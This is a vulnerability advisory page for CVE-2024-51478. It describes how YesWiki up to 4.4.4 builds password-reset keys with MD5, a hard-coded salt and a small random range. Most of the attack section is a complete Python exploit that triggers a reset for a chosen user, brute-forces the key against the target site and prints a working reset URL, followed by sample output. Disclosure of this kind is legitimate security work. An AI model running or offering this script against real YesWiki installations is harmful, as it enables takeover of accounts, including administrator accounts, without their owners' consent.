🛡️ CVE-2024-51478 — yeswiki
Description
YesWiki Uses a Broken or Risky Cryptographic Algorithm
Summary
The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details
Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
```php
private const PW_SALT = 'FBcA';
```
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
```php
protected function generateUserLink($user)
{
// Generate the password recovery key
$key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);
```
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt.
If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC)
To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser
# Known data
salt = 'FBcA' # Hardcoded salt
random_range = 10000 # Range for random_int()
WORKERS = 20 # Number of workers
# Arguments
def parseArgs():
parser = ArgumentParser()
parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
return parser.parse_args()
# Reset password request and get timestamp
def reset_password(email: str, domain: str):
response = post(
f'{domain}?MotDePassePerdu',
data={
'email': email,
'subStep': '1'
},
headers={
'Content-Type': 'application/x-www-form-urlencoded'
}
)
if response.ok:
timestamp = datetime.now() # obtain the timestamp
timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
print(f"[*] Requesting link for {email} at {timestamp}")
return timestamp
else:
print("[-] Error while resetting password.")
exit()
# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
user_base64 = b64encode(username.encode()).decode()
data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
hash_candidate = md5(data.encode()).hexdigest()
url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
# print(f"[*] Checking {url}")
response = get(url)
# Check if the link is valid, warning depending on the language
if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)
def main(timestamp_req: str, domain: str, username: str, email: str):
# Launch the brute-force
print(f"[*] Starting brute-force, it can take few minutes...")
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
for future in as_completed(futures):
success, random_int_val, hash_candidate, url = future.result()
if success:
print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
print(f"[+] URL: {url}")
exit()
else:
print("[-] Key not found.")
if __name__ == "__main__":
args = parseArgs()
timestamp_req = reset_password(args.email, args.domain)
main(timestamp_req, args.domain, args.username, args.email)
```
Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.
```bash
» python3 expoit.py --username 'admin' --email '[email protected]' --domain 'http://localhost/'
[*] Requesting link for [email protected] at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability low.
Weakness class
CVE-2024-51478 is classified as CWE-327: Use of a Broken or Risky Cryptographic Algorithm. An algorithm with known weaknesses is used, so the protection it appears to give does not hold.
Affected software
CVE-2024-51478 is recorded against 2 packages.
- yeswiki (fixed in 4.4.5)
- yeswiki/yeswiki (fixed in 4.4.5)
Timeline and source
Published on 31 October 2024 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| yeswiki | — | 4.4.5 |
| yeswiki/yeswiki | — | 4.4.5 |
References
Similar Threats
- High CVE-2026-52762
- Unknown CVE-2026-52763
- Critical CVE-2026-52766
- Critical CVE-2026-46670
- High CVE-2026-41143
More CVE 2024 advisories
Browse all of CVE 2024 in the advisory index.
Exploit Protection
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CVE-2024-51478 carries CVSS 9.9 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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